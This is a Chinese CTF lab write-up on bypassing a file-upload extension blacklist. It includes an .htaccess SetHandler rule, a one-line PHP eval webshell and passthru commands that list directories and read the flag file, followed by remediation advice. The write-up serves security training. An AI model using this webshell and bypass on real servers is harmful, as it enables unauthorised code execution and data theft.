当前位置: 首页 > news >正文

CTFHub | .htaccess

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

.htaccess:

        htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

网页显示内容

        

        

0x02 解题过程

0x1 方法一: 使用蚁剑连接 

分析网页源代码,代码中使用了两个常量 UPLOAD_PATH 。和 UPLOAD_URL_PATH ,但是没有给出这两个常量的值。一般地,程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CTFHub 文件上传 - htaccess</title>
</head>
<body><h1>CTFHub 文件上传 - htaccess</h1><form action="" method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file" /><br /><input type="submit" name="submit" value="Submit" /></form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {$name = basename($_FILES['file']['name']);$ext = pathinfo($name)['extension'];$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");if (!in_array($ext, $blacklist)) {if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {echo "<script>alert('上传成功')</script>";echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;} else {echo "<script>alert('上传失败')</script>";}} else {echo "<script>alert('文件类型不匹配')</script>";}
}
-->

        

使用 FilesMatch 命令生成一个.htaccess 文件进行上传,绕过白名单中的漏洞。

<!-- payload表示之后需要通过FilesMatch命令进行匹配的文件名称,也就是之后需要上传的一句话木马 -->
<FilesMatch "payload">SetHandler application/x-httpd-php
</FilesMatch>

        

上传一句话木马,文件名为 payload ,这里不需要后缀名,因为要和 FilesMatch 命令指定的文件名称相匹配。

<?php eval($_POST['shell']); ?>

        

使用蚁剑添加并连接

        

检查网页文件发现此题flag

         

        

0x2 方法二: 执行外部命令 

方法一中已经分析过源代码,那么执行外部命令还是需要先使用 FilesMatch 命令生成一个.htaccess 文件进行上传。

         

使用 passthru 执行外部指令,查看文件夹 var 中是否存在关于此题的 flag

<?php 
passthru("ls /var/");
?>

        

URL 中访问 payload 文件夹的路径

        

一般网页文件夹都存放在 www 文件夹中,这里检查 www 文件,需要再次上传 payload 文件夹才可以查看。

<?php 
passthru("ls /var/www/");
?>

        

查看 html 文件夹中是否有此题 flag ,这里看到有一个关于flag的php文件

<?php 
passthru("ls /var/www/html/");
?>

        

检查此文件,注意网页中是不显示注释代码的,需要检查源代码查看。

<?php 
passthru("cat /var/www/html/flag_828011517.php");
?>

        

        

0x03 修复建议

[1].给上传文件设置上传路径,对代码中的 UPLOAD_PATH 和 UPLOAD_URL_PATH 进行定义。

[2].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制,同时可以设置上传文件大小的最大值。

[3].确保上传文件的存储路径安全,不要将上传的文件存储到Web根目录下或者其他可被访问的目录中

[4].对上传文件的访问权限进行控制,只允许有必要权限的用户或者应用程序访问上传的文件。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

http://www.lryc.cn/news/40761.html

相关文章:

  • 微机原理 || 8253 芯片 (详细讲解 + 经典例题)
  • python Django高级操作-分页-定义CVS-发送邮件
  • React 用一个简单案例体验一遍 React-dom React-router React-redux 全家桶
  • 9. C#面向对象基础
  • 【MIT 6.S081】Lab2: system calls
  • 设计模式之单例模式~
  • top终端详解
  • 解决一个偶现的503 bug,花了俺不少时间
  • 什么是栈,如何实现?
  • 在我的MacBook上捣鼓ESP8266
  • 【深度强化学习】(8) iPPO 模型解析,附Pytorch完整代码
  • 77.qt qml-QianWindow-V1版本界面讲解
  • RHCE学习日记二
  • Dubbo原理简介
  • JavaSE基础总结
  • 5G(NR)信道带宽和发射带宽---频率资源
  • 基于Spring Boot的酒店管理系统
  • Ae:混合模式
  • JS中的变量
  • Hadoop运行模块
  • Web自动化——前端基础知识(二)
  • NAS系列 硬件组装
  • IDAFrida
  • 通过百度文心一言大模型作画尝鲜,感受国产ChatGPT的“狂飙”
  • Nacos 注册中心 - 健康检查机制源码
  • Transformer在计算机视觉中的应用-VIT、TNT模型
  • 快速入门Zookeeper技术.黑马教程
  • 网易C++实习一面
  • 进程和线程的区别和联系
  • Java学习笔记——集合